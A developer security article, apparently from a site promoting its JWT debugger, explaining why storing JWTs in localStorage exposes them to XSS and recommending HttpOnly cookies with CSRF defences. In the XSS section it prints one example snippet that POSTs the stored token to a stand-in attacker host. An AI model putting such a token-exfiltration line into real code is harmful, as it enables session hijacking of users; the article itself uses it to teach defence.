Why You Should NEVER Store JWTs in LocalStorage
It is the most common pattern in modern React/Vue/Angular tutorials:
- User logs in.
- Server sends a JSON Web Token (JWT).
- Client saves it:
localStorage.setItem('token', jwt). - Client sends it in the header:
Authorization: Bearer ${localStorage.getItem('token')}.
It works. It's easy. And it is dangerous.
If you are storing sensitive authentication tokens in localStorage (or sessionStorage), you are making your users vulnerable to Cross-Site Scripting (XSS) attacks.
In this guide, we'll explain why, and what you should do instead. (And if you need to debug your current tokens, check them safely in our JWT Debugger).
The Attack Vector: XSS
localStorage is a pure JavaScript API. This means any JavaScript running on your page can read it.
"But I trust my code!" you say.
Do you trust:
- Every third-party script you load (Google Analytics, Intercom, AdSense)?
- Every NPM package you import?
- Every browser extension your user has installed?
If an attacker can inject any JavaScript into your page (XSS), they can run:
fetch('https://evil-site.com/steal', {
method: 'POST',
body: localStorage.getItem('token')
});
Game over. They have your user's session. They can impersonate the user until the token expires.
The Solution: HttpOnly Cookies
The secure alternative is to store the JWT in an HttpOnly Cookie.
Why is it safer?
An HttpOnly cookie cannot be accessed by client-side JavaScript.
document.cookie will not show it. fetch cannot read it.
If an attacker pulls off an XSS attack on your site, they cannot read the token because the browser hides it from the JS engine completely.
How it works
- Login: User sends credentials.
- Response: Server sends the JWT in a
Set-Cookieheader.Set-Cookie: access_token=eyJhb...; HttpOnly; Secure; SameSite=Strict; Path=/; - Subsequent Requests: The browser automatically attaches the cookie to requests to your domain. You don't need to manually add an
Authorizationheader in your frontend code.
But functionality... (CSRF)
"Wait," you ask, "If the browser sends cookies automatically, can't malicious sites fake requests to my backend?"
Yes. This is called Cross-Site Request Forgery (CSRF). However, CSRF is generally easier to defend against than XSS.
Defenses against CSRF:
- SameSite=Strict: This cookie attribute prevents the browser from sending the cookie if the request comes from a different origin. This alone kills most CSRF attacks.
- CSRF Tokens: A strict pattern where the server expects a secondary token in the headers that is accessible to JS (double-submit cookie pattern).
The Verdict
| Storage Method | Vulnerable to XSS? | Vulnerable to CSRF? |
|---|---|---|
| LocalStorage | YES (Critical) | No |
| HttpOnly Cookie | NO | Yes (but mitigatable) |
XSS allows an attacker to steal the full token and use it anywhere. CSRF only allows them to perform actions as the user blindly. Token theft is almost always the worse outcome.
Summary Checklist
- Stop using
localStoragefor sensitive tokens. - Move your JWTs to
HttpOnly; Secure; SameSite=Strictcookies. - Inspect your tokens during development with our JWT Debugger to ensure claims and expiration times are correct.
Security is annoying, but a data breach is worse. hardening your auth storage is one of the highest ROI security updates you can make.
Found this helpful?
Join thousands of developers using our tools to write better code, faster.